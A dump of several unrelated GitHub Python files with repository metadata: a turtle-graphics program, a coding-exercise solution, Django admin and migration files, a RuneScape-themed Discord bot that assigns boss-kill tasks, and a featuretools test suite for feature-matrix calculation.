getvar('PYTHONFRAMEWORK'): libs.extend(getvar('LINKFORSHARED').split()) print(' '.join(libs)) elif opt == '--extension-suffix': ext_suffix = sysconfig.get_config_var('EXT_SUFFIX') if ext_suffix is None: ext_suffix = sysconfig.get_config_var('SO') print(ext_suffix) elif opt == '--abiflags': if not getattr(sys, 'abiflags', None): exit_with_usage() print(sys.abiflags) elif opt == '--configdir': print(sysconfig.get_config_var('LIBPL'))

[ "yatong2@uw.edu" ]

yatong2@uw.edu

664688a10ed4eb76cb8d47f45a8895f4498ef8ec

9e4c444e6e936fda3cbdd237c1101bf6a59bedaf

/Mutant Rainbow Graphics.py

0af1a8c75e155de45fd6a29780c1576d5cdd9717

[]

no_license

Liam-McQueen04/Mutant-Rainbow-Graphics

7a0d6cfdae50aceafd527ae2d9e353f4427301d7

db337888c0123f9bade814a88fd1efebbdc0628a

refs/heads/master

2020-04-06T19:03:19.657347

2018-11-15T14:25:52

null

0

null

UTF-8

Python

false

1,427

py

import random import turtle as t def get_line_length(): choice = input('Enter Line Length (long, medium, short): ') if choice == 'long': line_length = 250 elif choice == 'medium': line_length = 200 else: line_length = 100 return line_length def get_line_width(): choice = input('Enter line width (superthick, thick, thin): ') if choice == 'superthick': line_width = 40 elif choice == 'thick': line_width = 25 else: line_width = 10 return line_width def inside_window(): left_limit = (-t.window_width() / 2) + 100 right_limit = (t.window_width() / 2) - 100 top_limit = (t.window_height() / 2) - 100 bottom_limit = (-t.window_height() / 2) + 100 (x, y) = t.pos() inside = left_limit < x < right_limit and bottom_limit < y < top_limit return inside def move_turtle(line_length): pen_colors = ['red', 'orange', 'yellow', 'green', 'blue', 'purple'] t.pencolor(random.choice(pen_colors)) if inside_window(): angle = random.randint(0, 180) t.right(angle) t.forward(line_length) else: t.backward(line_length) line_length = get_line_length() line_width = get_line_width() t.shape('turtle') t.fillcolor('green') t.bgcolor('black') t.speed('fastest') t.pensize(line_width) while True: move_turtle(line_length)

[ "noreply@github.com" ]

Liam-McQueen04.noreply@github.com

de37a1fd81c01c4d429d643d284ac7ace28482c3

331460bcb59700d9301356cdf48c0230364b5984

/programmers/level1/[연습문제] 짝수와 홀수.py

25b51fb8b49bc64acd4da0d531e1d8630c5a1202

[]

no_license

leeyongjoo/solved-algorithm-problem

c109dbf272df59ba1d79e3da825a4e75f98085a1

6a0f8424b95283ca16f3e5f84904a8fcd5bd3eab

refs/heads/master

2023-07-11T20:36:32.389618

2021-08-23T13:54:17

283,757,782

0

null

UTF-8

Python

false

275

py

# https://programmers.co.kr/learn/courses/30/lessons/12937?language=python3 def solution(num): return "Odd" if num % 2 else "Even" if __name__ == "__main__": print(solution(3)) print(solution(3) == "Odd") print(solution(4)) print(solution(4) == "Even")

[ "2yongjooo@gmail.com" ]

2yongjooo@gmail.com

3d926895422768d1af337ed0e80b73d5d0572720

39f51de39b6c3bdc5d7bb9a570ab33c308221f57

/horseraceai/races/admin.py

2f90f6df3c4675026d1a3175d9bd18bde6e13bfd

[]

no_license

monda00/horseracing_ai_app

d64e10dc096ff51f9e9c5d473345f6cf8824041f

8590cf85459e4a0e6790b449bcfb298ce50afb96

refs/heads/master

2021-07-09T02:05:01.418413

2020-12-15T15:40:02

220,805,477

0

null

2020-07-20T17:01:07

2019-11-10T14:57:27

Python

UTF-8

Python

false

688

py

from django.contrib import admin from import_export.admin import ImportExportModelAdmin from import_export import resources from .models import Race, Horse class RaceResource(resources.ModelResource): class Meta: model = Race import_id_fields = ['race_id'] skip_unchanged = True report_skipped = False class HorseResource(resources.ModelResource): class Meta: model = Horse skip_unchanged = True report_skipped = False @admin.register(Race) class RaceAdmin(ImportExportModelAdmin): resource_class = RaceResource @admin.register(Horse) class HorseAdmin(ImportExportModelAdmin): resource_class = HorseResource

[ "monda0524@gmail.com" ]

monda0524@gmail.com

9d687faa4cc8c5b083d36e051367de1ddccc50df

5b1baef4e0c50e4aafeadcbb1f199a1de7d4f0ee

/mysite/app/migrations/0013_auto_20210730_1419.py

0f29f159ef5cfd95c59632c0cbc06eabe868883a

[]

no_license

qqzii/testsite

278a512000715c3eb6b7b1cd0cb6a19760d77162

ccbdda7261a69501d4ddfcf6be8a55c3766bfb02

refs/heads/master

2023-07-09T09:41:22.981390

2021-08-12T13:58:21

382,126,006

0

null

UTF-8

Python

false

2,215

py

# Generated by Django 3.2.5 on 2021-07-30 11:19 from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('app', '0012_auto_20210729_0224'), ] operations = [ migrations.CreateModel( name='Order', fields=[ ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('first_name', models.CharField(max_length=255, verbose_name='Имя')), ('last_name', models.CharField(max_length=255, verbose_name='Фамилия')), ('phone', models.CharField(max_length=20, verbose_name='Телефон')), ('address', models.CharField(blank=True, max_length=1024, null=True, verbose_name='Адрес')), ('status', models.CharField(choices=[('new', 'Новый заказ'), ('in_progress', 'Заказ в обработке'), ('is_ready', 'Заказ готов'), ('completed', 'Заказ выполнен')], default='new', max_length=100, verbose_name='Статус заказа')), ('buying_type', models.CharField(choices=[('self', 'Самовывоз'), ('delivery', 'Доставка')], default='self', max_length=100, verbose_name='Тип заказа')), ('comment', models.TextField(blank=True, null=True, verbose_name='Комментарий к заказу')), ('created_at', models.DateTimeField(auto_now=True, verbose_name='Дата создания заказа')), ('order_date', models.DateField(default=django.utils.timezone.now, verbose_name='Дата получения заказа')), ('customer', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='related_orders', to='app.customer', verbose_name='Покупатель')), ], ), migrations.AddField( model_name='customer', name='orders', field=models.ManyToManyField(related_name='related_customer', to='app.Order', verbose_name='Заказы покупателя'), ), ]

[ "artemiy.morozov.00@mail.ru" ]

artemiy.morozov.00@mail.ru

992162bc096471c678c0d61d5249187430dea1ba

545fcb85117f04064c5f8095ca1adfa96fd383de

/main.py

e096a688714be466305798429e1000a10332d485

[]

no_license

quintanamo/rs-reaper-bot

1c5805e5bf4a83001eec039cc03ad93e658d8c79

8ee51e752f17598ac5177956917946ba4526e59c

refs/heads/master

2023-04-22T07:03:51.873668

2021-05-08T05:27:31

365,419,910

0

null

UTF-8

Python

false

2,935

py

import discord import random import math # get token from file f = open('token.txt', 'r') token = f.readline() # list of possible bosses bossList = { 'Ambassador': {'min': 2, 'max': 2}, 'Araxxi': {'min': 3, 'max': 4}, 'The Barrows Brothers': {'min': 4, 'max': 15}, 'Barrows: Rise of the Six': {'min': 3, 'max': 4}, 'Black stone dragon': {'min': 2, 'max': 2}, 'Chaos Elemental': {'min': 2, 'max': 5}, 'Commander Zilyana': {'min': 10, 'max': 15}, 'Corporeal Beast': {'min': 5, 'max': 10}, 'Dagannoth Kings': {'min': 10, 'max': 15}, 'General Graardor': {'min': 10, 'max': 15}, 'Giant Mole': {'min': 3, 'max': 8}, 'Gregorovic': {'min': 5, 'max': 10}, 'Har-Aken': {'min': 1, 'max': 2}, 'Helwyr': {'min': 5, 'max': 10}, 'Kalphite King': {'min': 10, 'max': 15}, 'Kalphite Queen': {'min': 4, 'max': 10}, 'King Black Dragon': {'min': 4, 'max': 14}, 'Kree\'arra': {'min': 10, 'max': 15}, 'K\'ril Tsutsaroth': {'min': 10, 'max': 15}, 'Legiones': {'min': 10, 'max': 15}, 'The Magister': {'min': 3, 'max': 7}, 'Nex': {'min': 5, 'max': 10}, 'Nex: Angel of Death': {'min': 3, 'max': 6}, 'Queen Black Dragon': {'min': 5, 'max': 10}, 'Raksha, the Shadow Colossus': {'min': 3, 'max': 4}, 'Rex Matriarchs': {'min': 10, 'max': 15}, 'Solak': {'min': 2, 'max': 4}, 'Seiryu the Azure Serpent': {'min': 2, 'max': 2}, 'Telos': {'min': 3, 'max': 4}, 'The Twin Furies': {'min': 5, 'max': 10}, 'TzTok-Jad': {'min': 1, 'max': 2}, 'Vindicta & Gorvek': {'min': 5, 'max': 10}, 'Vorago': {'min': 3, 'max': 4} } client = discord.Client() @client.event async def on_ready(): print('Started bot as user {0.user}'.format(client)) @client.event async def on_message(message): if message.author == client.user: return if message.content.startswith('!reaper'): commands = message.content.split() if(commands[1].lower() == 'task'): bosses = list(bossList.keys()) task = bosses[random.randrange(len(bosses))] numberToKill = random.randint(bossList[task]['min'], bossList[task]['max']) if(len(commands) > 2 and commands[2].lower() == 'extend'): numberToKill = (1.5 * numberToKill) + 2 numberToKill = math.floor(numberToKill) numberString = 'souls' if numberToKill == 1: numberString = 'soul' image = ''.join(e for e in task if e.isalnum()) image = 'images/' + image.lower() + '.png' print(image) #await message.channel.send('Collect souls from {task} for me.') await message.channel.send(file=discord.File(image), content="Collect " + str(numberToKill) + " " + numberString + " from " + task + " for me.") client.run(token) # https://discord.com/api/oauth2/authorize?client_id=840438597089624065&permissions=34816&scope=bot

[ "qherb@ycp.edu" ]

qherb@ycp.edu

df28f85be537c8266444d40894f27b6cfcba3cb7

0037db6f3708456cb4492d98b174d37a8fc4ee15

/venv/Lib/site-packages/featuretools/tests/computational_backend/test_calculate_feature_matrix.py

8d4749bfde4627585e59bf1ab63b93da66f02a9d

[]

no_license

cpantin/MTG_CardEval

2005729c81760849e3e58afe6c1ce36197b36f4d

ceb846dbdd39cd98c11d125095842721a93b58c3

refs/heads/master

2023-06-21T03:51:55.767612

2021-07-23T20:09:43

388,156,013

0

null

UTF-8

Python

false

89,675

py

import logging import os import re import shutil from datetime import datetime from itertools import combinations from random import randint import numpy as np import pandas as pd import psutil import pytest from dask import dataframe as dd from distributed.utils_test import cluster from tqdm import tqdm import featuretools as ft from featuretools import EntitySet, Timedelta, calculate_feature_matrix, dfs from featuretools.computational_backends import utils from featuretools.computational_backends.calculate_feature_matrix import ( FEATURE_CALCULATION_PERCENTAGE, _chunk_dataframe_groups, _handle_chunk_size, scatter_warning ) from featuretools.computational_backends.utils import ( bin_cutoff_times, create_client_and_cluster, n_jobs_to_workers ) from featuretools.feature_base import ( AggregationFeature, DirectFeature, IdentityFeature ) from featuretools.primitives import ( Count, Max, Min, Percentile, Sum, TransformPrimitive ) from featuretools.tests.testing_utils import ( backward_path, get_mock_client_cluster, to_pandas ) from featuretools.utils.gen_utils import Library def test_scatter_warning(caplog): logger = logging.getLogger('featuretools') match = "EntitySet was only scattered to {} out of {} workers" warning_message = match.format(1, 2) logger.propagate = True scatter_warning(1, 2) logger.propagate = False assert warning_message in caplog.text # TODO: final assert fails w/ Dask def test_calc_feature_matrix(es): if es.dataframe_type != Library.PANDAS.value: pytest.xfail('Distributed dataframe result not ordered') times = list([datetime(2011, 4, 9, 10, 30, i * 6) for i in range(5)] + [datetime(2011, 4, 9, 10, 31, i * 9) for i in range(4)] + [datetime(2011, 4, 9, 10, 40, 0)] + [datetime(2011, 4, 10, 10, 40, i) for i in range(2)] + [datetime(2011, 4, 10, 10, 41, i * 3) for i in range(3)] + [datetime(2011, 4, 10, 11, 10, i * 3) for i in range(2)]) instances = range(17) cutoff_time = pd.DataFrame({'time': times, es['log'].index: instances}) labels = [False] * 3 + [True] * 2 + [False] * 9 + [True] + [False] * 2 property_feature = ft.Feature(es['log']['value']) > 10 feature_matrix = calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_time, verbose=True) assert (feature_matrix[property_feature.get_name()] == labels).values.all() error_text = 'features must be a non-empty list of features' with pytest.raises(AssertionError, match=error_text): feature_matrix = calculate_feature_matrix('features', es, cutoff_time=cutoff_time) with pytest.raises(AssertionError, match=error_text): feature_matrix = calculate_feature_matrix([], es, cutoff_time=cutoff_time) with pytest.raises(AssertionError, match=error_text): feature_matrix = calculate_feature_matrix([1, 2, 3], es, cutoff_time=cutoff_time) error_text = "cutoff_time times must be datetime type: try casting via "\ "pd\\.to_datetime\$\$" with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([property_feature], es, instance_ids=range(17), cutoff_time=17) error_text = 'cutoff_time must be a single value or DataFrame' with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([property_feature], es, instance_ids=range(17), cutoff_time=times) cutoff_times_dup = pd.DataFrame({'time': [datetime(2018, 3, 1), datetime(2018, 3, 1)], es['log'].index: [1, 1]}) error_text = 'Duplicated rows in cutoff time dataframe.' with pytest.raises(AssertionError, match=error_text): feature_matrix = calculate_feature_matrix([property_feature], entityset=es, cutoff_time=cutoff_times_dup) cutoff_reordered = cutoff_time.iloc[[-1, 10, 1]] # 3 ids not ordered by cutoff time feature_matrix = calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_reordered, verbose=True) assert all(feature_matrix.index == cutoff_reordered["id"].values) # fails with Dask and Koalas entitysets, cutoff time not reordered; cannot verify out of order # - can't tell if wrong/different all are false so can't check positional def test_cfm_warns_dask_cutoff_time(es): times = list([datetime(2011, 4, 9, 10, 30, i * 6) for i in range(5)] + [datetime(2011, 4, 9, 10, 31, i * 9) for i in range(4)] + [datetime(2011, 4, 9, 10, 40, 0)] + [datetime(2011, 4, 10, 10, 40, i) for i in range(2)] + [datetime(2011, 4, 10, 10, 41, i * 3) for i in range(3)] + [datetime(2011, 4, 10, 11, 10, i * 3) for i in range(2)]) instances = range(17) cutoff_time = pd.DataFrame({'time': times, es['log'].index: instances}) cutoff_time = dd.from_pandas(cutoff_time, npartitions=4) property_feature = ft.Feature(es['log']['value']) > 10 match = "cutoff_time should be a Pandas DataFrame: " \ "computing cutoff_time, this may take a while" with pytest.warns(UserWarning, match=match): calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_time) def test_cfm_compose(es, lt): property_feature = ft.Feature(es['log']['value']) > 10 feature_matrix = calculate_feature_matrix([property_feature], es, cutoff_time=lt, verbose=True) feature_matrix = to_pandas(feature_matrix, index='id', sort_index=True) assert (feature_matrix[property_feature.get_name()] == feature_matrix['label_func']).values.all() def test_cfm_compose_approximate(es, lt): if es.dataframe_type != Library.PANDAS.value: pytest.xfail('dask does not support approximate') property_feature = ft.Feature(es['log']['value']) > 10 feature_matrix = calculate_feature_matrix([property_feature], es, cutoff_time=lt, approximate='1s', verbose=True) assert(type(feature_matrix) == pd.core.frame.DataFrame) feature_matrix = to_pandas(feature_matrix, index='id', sort_index=True) assert (feature_matrix[property_feature.get_name()] == feature_matrix['label_func']).values.all() def test_cfm_dask_compose(dask_es, lt): property_feature = ft.Feature(dask_es['log']['value']) > 10 feature_matrix = calculate_feature_matrix([property_feature], dask_es, cutoff_time=lt, verbose=True) feature_matrix = feature_matrix.compute() assert (feature_matrix[property_feature.get_name()] == feature_matrix['label_func']).values.all() # tests approximate, skip for dask/koalas def test_cfm_approximate_correct_ordering(): trips = { 'trip_id': [i for i in range(1000)], 'flight_time': [datetime(1998, 4, 2) for i in range(350)] + [datetime(1997, 4, 3) for i in range(650)], 'flight_id': [randint(1, 25) for i in range(1000)], 'trip_duration': [randint(1, 999) for i in range(1000)] } df = pd.DataFrame.from_dict(trips) es = EntitySet('flights') es.entity_from_dataframe("trips", dataframe=df, index="trip_id", time_index='flight_time') es.normalize_entity(base_entity_id="trips", new_entity_id="flights", index="flight_id", make_time_index=True) features = dfs(entityset=es, target_entity='trips', features_only=True) flight_features = [feature for feature in features if isinstance(feature, DirectFeature) and isinstance(feature.base_features[0], AggregationFeature)] property_feature = IdentityFeature(es['trips']['trip_id']) cutoff_time = pd.DataFrame.from_dict({'instance_id': df['trip_id'], 'time': df['flight_time']}) time_feature = IdentityFeature(es['trips']['flight_time']) feature_matrix = calculate_feature_matrix(flight_features + [property_feature, time_feature], es, cutoff_time_in_index=True, cutoff_time=cutoff_time) feature_matrix.index.names = ['instance', 'time'] assert(np.all(feature_matrix.reset_index('time').reset_index()[['instance', 'time']].values == feature_matrix[['trip_id', 'flight_time']].values)) feature_matrix_2 = calculate_feature_matrix(flight_features + [property_feature, time_feature], es, cutoff_time=cutoff_time, cutoff_time_in_index=True, approximate=Timedelta(2, 'd')) feature_matrix_2.index.names = ['instance', 'time'] assert(np.all(feature_matrix_2.reset_index('time').reset_index()[['instance', 'time']].values == feature_matrix_2[['trip_id', 'flight_time']].values)) for column in feature_matrix: for x, y in zip(feature_matrix[column], feature_matrix_2[column]): assert ((pd.isnull(x) and pd.isnull(y)) or (x == y)) # uses approximate, skip for dask/koalas entitysets def test_cfm_no_cutoff_time_index(pd_es): agg_feat = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['sessions'], primitive=Count) agg_feat4 = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Sum) dfeat = DirectFeature(agg_feat4, pd_es['sessions']) cutoff_time = pd.DataFrame({ 'time': [datetime(2013, 4, 9, 10, 31, 19), datetime(2013, 4, 9, 11, 0, 0)], 'instance_id': [0, 2] }) feature_matrix = calculate_feature_matrix([dfeat, agg_feat], pd_es, cutoff_time_in_index=False, approximate=Timedelta(12, 's'), cutoff_time=cutoff_time) assert feature_matrix.index.name == 'id' assert feature_matrix.index.values.tolist() == [0, 2] assert feature_matrix[dfeat.get_name()].tolist() == [10, 10] assert feature_matrix[agg_feat.get_name()].tolist() == [5, 1] cutoff_time = pd.DataFrame({ 'time': [datetime(2011, 4, 9, 10, 31, 19), datetime(2011, 4, 9, 11, 0, 0)], 'instance_id': [0, 2] }) feature_matrix_2 = calculate_feature_matrix([dfeat, agg_feat], pd_es, cutoff_time_in_index=False, approximate=Timedelta(10, 's'), cutoff_time=cutoff_time) assert feature_matrix_2.index.name == 'id' assert feature_matrix_2.index.tolist() == [0, 2] assert feature_matrix_2[dfeat.get_name()].tolist() == [7, 10] assert feature_matrix_2[agg_feat.get_name()].tolist() == [5, 1] # TODO: fails with dask entitysets # TODO: fails with koalas entitysets def test_cfm_duplicated_index_in_cutoff_time(es): if es.dataframe_type != Library.PANDAS.value: pytest.xfail('Distributed results not ordered, missing duplicates') times = [datetime(2011, 4, 1), datetime(2011, 5, 1), datetime(2011, 4, 1), datetime(2011, 5, 1)] instances = [1, 1, 2, 2] property_feature = ft.Feature(es['log']['value']) > 10 cutoff_time = pd.DataFrame({'id': instances, 'time': times}, index=[1, 1, 1, 1]) feature_matrix = calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_time, chunk_size=1) assert (feature_matrix.shape[0] == cutoff_time.shape[0]) # TODO: fails with Dask, Koalas def test_saveprogress(es, tmpdir): if es.dataframe_type != Library.PANDAS.value: pytest.xfail('saveprogress fails with distributed entitysets') times = list([datetime(2011, 4, 9, 10, 30, i * 6) for i in range(5)] + [datetime(2011, 4, 9, 10, 31, i * 9) for i in range(4)] + [datetime(2011, 4, 9, 10, 40, 0)] + [datetime(2011, 4, 10, 10, 40, i) for i in range(2)] + [datetime(2011, 4, 10, 10, 41, i * 3) for i in range(3)] + [datetime(2011, 4, 10, 11, 10, i * 3) for i in range(2)]) cutoff_time = pd.DataFrame({'time': times, 'instance_id': range(17)}) property_feature = ft.Feature(es['log']['value']) > 10 save_progress = str(tmpdir) fm_save = calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_time, save_progress=save_progress) _, _, files = next(os.walk(save_progress)) files = [os.path.join(save_progress, file) for file in files] # there are 17 datetime files created above assert len(files) == 17 list_df = [] for file_ in files: df = pd.read_csv(file_, index_col="id", header=0) list_df.append(df) merged_df = pd.concat(list_df) merged_df.set_index(pd.DatetimeIndex(times), inplace=True, append=True) fm_no_save = calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_time) assert np.all((merged_df.sort_index().values) == (fm_save.sort_index().values)) assert np.all((fm_no_save.sort_index().values) == (fm_save.sort_index().values)) assert np.all((fm_no_save.sort_index().values) == (merged_df.sort_index().values)) shutil.rmtree(save_progress) def test_cutoff_time_correctly(es): property_feature = ft.Feature(es['log']['id'], parent_entity=es['customers'], primitive=Count) times = [datetime(2011, 4, 10), datetime(2011, 4, 11), datetime(2011, 4, 7)] cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 1, 2]}) feature_matrix = calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_time) feature_matrix = to_pandas(feature_matrix, index='id', sort_index=True) labels = [10, 5, 0] assert (feature_matrix[property_feature.get_name()] == labels).values.all() def test_cutoff_time_binning(): cutoff_time = pd.DataFrame({ 'time': [ datetime(2011, 4, 9, 12, 31), datetime(2011, 4, 10, 11), datetime(2011, 4, 10, 13, 10, 1) ], 'instance_id': [1, 2, 3] }) binned_cutoff_times = bin_cutoff_times(cutoff_time, Timedelta(4, 'h')) labels = [datetime(2011, 4, 9, 12), datetime(2011, 4, 10, 8), datetime(2011, 4, 10, 12)] for i in binned_cutoff_times.index: assert binned_cutoff_times['time'][i] == labels[i] binned_cutoff_times = bin_cutoff_times(cutoff_time, Timedelta(25, 'h')) labels = [datetime(2011, 4, 8, 22), datetime(2011, 4, 9, 23), datetime(2011, 4, 9, 23)] for i in binned_cutoff_times.index: assert binned_cutoff_times['time'][i] == labels[i] error_text = "Unit is relative" with pytest.raises(ValueError, match=error_text): binned_cutoff_times = bin_cutoff_times(cutoff_time, Timedelta(1, 'mo')) def test_training_window_fails_dask(dask_es): property_feature = ft.Feature(dask_es['log']['id'], parent_entity=dask_es['customers'], primitive=Count) error_text = "Using training_window is not supported with Dask Entities" with pytest.raises(ValueError, match=error_text): calculate_feature_matrix([property_feature], dask_es, training_window='2 hours') def test_cutoff_time_columns_order(es): property_feature = ft.Feature(es['log']['id'], parent_entity=es['customers'], primitive=Count) times = [datetime(2011, 4, 10), datetime(2011, 4, 11), datetime(2011, 4, 7)] id_col_names = ['instance_id', es['customers'].index] time_col_names = ['time', es['customers'].time_index] for id_col in id_col_names: for time_col in time_col_names: cutoff_time = pd.DataFrame({'dummy_col_1': [1, 2, 3], id_col: [0, 1, 2], 'dummy_col_2': [True, False, False], time_col: times}) feature_matrix = calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_time) labels = [10, 5, 0] feature_matrix = to_pandas(feature_matrix, index='id', sort_index=True) assert (feature_matrix[property_feature.get_name()] == labels).values.all() def test_cutoff_time_df_redundant_column_names(es): property_feature = ft.Feature(es['log']['id'], parent_entity=es['customers'], primitive=Count) times = [datetime(2011, 4, 10), datetime(2011, 4, 11), datetime(2011, 4, 7)] cutoff_time = pd.DataFrame({es['customers'].index: [0, 1, 2], 'instance_id': [0, 1, 2], 'dummy_col': [True, False, False], 'time': times}) err_msg = 'Cutoff time DataFrame cannot contain both a column named "instance_id" and a column' \ ' with the same name as the target entity index' with pytest.raises(AttributeError, match=err_msg): calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_time) cutoff_time = pd.DataFrame({es['customers'].time_index: [0, 1, 2], 'instance_id': [0, 1, 2], 'dummy_col': [True, False, False], 'time': times}) err_msg = 'Cutoff time DataFrame cannot contain both a column named "time" and a column' \ ' with the same name as the target entity time index' with pytest.raises(AttributeError, match=err_msg): calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_time) def test_training_window(pd_es): property_feature = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['customers'], primitive=Count) top_level_agg = ft.Feature(pd_es['customers']['id'], parent_entity=pd_es[u'régions'], primitive=Count) # make sure features that have a direct to a higher level agg # so we have multiple "filter eids" in get_pandas_data_slice, # and we go through the loop to pull data with a training_window param more than once dagg = DirectFeature(top_level_agg, pd_es['customers']) # for now, warns if last_time_index not present times = [datetime(2011, 4, 9, 12, 31), datetime(2011, 4, 10, 11), datetime(2011, 4, 10, 13, 10)] cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 1, 2]}) warn_text = "Using training_window but last_time_index is not set on entity customers" with pytest.warns(UserWarning, match=warn_text): feature_matrix = calculate_feature_matrix([property_feature, dagg], pd_es, cutoff_time=cutoff_time, training_window='2 hours') pd_es.add_last_time_indexes() error_text = 'Training window cannot be in observations' with pytest.raises(AssertionError, match=error_text): feature_matrix = calculate_feature_matrix([property_feature], pd_es, cutoff_time=cutoff_time, training_window=Timedelta(2, 'observations')) # Case1. include_cutoff_time = True feature_matrix = calculate_feature_matrix([property_feature, dagg], pd_es, cutoff_time=cutoff_time, training_window='2 hours', include_cutoff_time=True) prop_values = [4, 5, 1] dagg_values = [3, 2, 1] assert (feature_matrix[property_feature.get_name()] == prop_values).values.all() assert (feature_matrix[dagg.get_name()] == dagg_values).values.all() # Case2. include_cutoff_time = False feature_matrix = calculate_feature_matrix([property_feature, dagg], pd_es, cutoff_time=cutoff_time, training_window='2 hours', include_cutoff_time=False) prop_values = [5, 5, 2] dagg_values = [3, 2, 1] assert (feature_matrix[property_feature.get_name()] == prop_values).values.all() assert (feature_matrix[dagg.get_name()] == dagg_values).values.all() # Case3. include_cutoff_time = False with single cutoff time value feature_matrix = calculate_feature_matrix([property_feature, dagg], pd_es, cutoff_time=pd.to_datetime("2011-04-09 10:40:00"), training_window='9 minutes', include_cutoff_time=False) prop_values = [0, 4, 0] dagg_values = [3, 3, 3] assert (feature_matrix[property_feature.get_name()] == prop_values).values.all() assert (feature_matrix[dagg.get_name()] == dagg_values).values.all() # Case4. include_cutoff_time = True with single cutoff time value feature_matrix = calculate_feature_matrix([property_feature, dagg], pd_es, cutoff_time=pd.to_datetime("2011-04-10 10:40:00"), training_window='2 days', include_cutoff_time=True) prop_values = [0, 10, 1] dagg_values = [3, 3, 3] assert (feature_matrix[property_feature.get_name()] == prop_values).values.all() assert (feature_matrix[dagg.get_name()] == dagg_values).values.all() def test_training_window_overlap(pd_es): pd_es.add_last_time_indexes() count_log = ft.Feature( base=pd_es['log']['id'], parent_entity=pd_es['customers'], primitive=Count, ) cutoff_time = pd.DataFrame({ 'id': [0, 0], 'time': ['2011-04-09 10:30:00', '2011-04-09 10:40:00'], }).astype({'time': 'datetime64[ns]'}) # Case1. include_cutoff_time = True actual = calculate_feature_matrix( features=[count_log], entityset=pd_es, cutoff_time=cutoff_time, cutoff_time_in_index=True, training_window='10 minutes', include_cutoff_time=True, )['COUNT(log)'] np.testing.assert_array_equal(actual.values, [1, 9]) # Case2. include_cutoff_time = False actual = calculate_feature_matrix( features=[count_log], entityset=pd_es, cutoff_time=cutoff_time, cutoff_time_in_index=True, training_window='10 minutes', include_cutoff_time=False, )['COUNT(log)'] np.testing.assert_array_equal(actual.values, [0, 9]) def test_include_cutoff_time_without_training_window(es): es.add_last_time_indexes() count_log = ft.Feature( base=es['log']['id'], parent_entity=es['customers'], primitive=Count, ) cutoff_time = pd.DataFrame({ 'id': [0, 0], 'time': ['2011-04-09 10:30:00', '2011-04-09 10:31:00'], }).astype({'time': 'datetime64[ns]'}) # Case1. include_cutoff_time = True actual = calculate_feature_matrix( features=[count_log], entityset=es, cutoff_time=cutoff_time, cutoff_time_in_index=True, include_cutoff_time=True, )['COUNT(log)'] np.testing.assert_array_equal(actual.values, [1, 6]) # Case2. include_cutoff_time = False actual = calculate_feature_matrix( features=[count_log], entityset=es, cutoff_time=cutoff_time, cutoff_time_in_index=True, include_cutoff_time=False, )['COUNT(log)'] np.testing.assert_array_equal(actual.values, [0, 5]) # Case3. include_cutoff_time = True with single cutoff time value actual = calculate_feature_matrix( features=[count_log], entityset=es, cutoff_time=pd.to_datetime("2011-04-09 10:31:00"), instance_ids=[0], cutoff_time_in_index=True, include_cutoff_time=True, )['COUNT(log)'] np.testing.assert_array_equal(actual.values, [6]) # Case4. include_cutoff_time = False with single cutoff time value actual = calculate_feature_matrix( features=[count_log], entityset=es, cutoff_time=pd.to_datetime("2011-04-09 10:31:00"), instance_ids=[0], cutoff_time_in_index=True, include_cutoff_time=False, )['COUNT(log)'] np.testing.assert_array_equal(actual.values, [5]) def test_approximate_dfeat_of_agg_on_target_include_cutoff_time(pd_es): agg_feat = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['sessions'], primitive=Count) agg_feat2 = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Sum) dfeat = DirectFeature(agg_feat2, pd_es['sessions']) cutoff_time = pd.DataFrame({'time': [datetime(2011, 4, 9, 10, 31, 19)], 'instance_id': [0]}) feature_matrix = calculate_feature_matrix([dfeat, agg_feat2, agg_feat], pd_es, approximate=Timedelta(20, 's'), cutoff_time=cutoff_time, include_cutoff_time=False) # binned cutoff_time will be datetime(2011, 4, 9, 10, 31, 0) and # log event 5 at datetime(2011, 4, 9, 10, 31, 0) will be # excluded due to approximate cutoff time point assert feature_matrix[dfeat.get_name()].tolist() == [5] assert feature_matrix[agg_feat.get_name()].tolist() == [5] feature_matrix = calculate_feature_matrix([dfeat, agg_feat], pd_es, approximate=Timedelta(20, 's'), cutoff_time=cutoff_time, include_cutoff_time=True) # binned cutoff_time will be datetime(2011, 4, 9, 10, 31, 0) and # log event 5 at datetime(2011, 4, 9, 10, 31, 0) will be # included due to approximate cutoff time point assert feature_matrix[dfeat.get_name()].tolist() == [6] assert feature_matrix[agg_feat.get_name()].tolist() == [5] def test_training_window_recent_time_index(pd_es): # customer with no sessions row = { 'id': [3], 'age': [73], u'région_id': ['United States'], 'cohort': [1], 'cancel_reason': ["Lost interest"], 'loves_ice_cream': [True], 'favorite_quote': ["Don't look back. Something might be gaining on you."], 'signup_date': [datetime(2011, 4, 10)], 'upgrade_date': [datetime(2011, 4, 12)], 'cancel_date': [datetime(2011, 5, 13)], 'date_of_birth': [datetime(1938, 2, 1)], 'engagement_level': [2], } to_add_df = pd.DataFrame(row) to_add_df.index = range(3, 4) # have to convert category to int in order to concat old_df = pd_es['customers'].df old_df.index = old_df.index.astype("int") old_df["id"] = old_df["id"].astype(int) df = pd.concat([old_df, to_add_df], sort=True) # convert back after df.index = df.index.astype("category") df["id"] = df["id"].astype("category") pd_es['customers'].update_data(df=df, recalculate_last_time_indexes=False) pd_es.add_last_time_indexes() property_feature = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['customers'], primitive=Count) top_level_agg = ft.Feature(pd_es['customers']['id'], parent_entity=pd_es[u'régions'], primitive=Count) 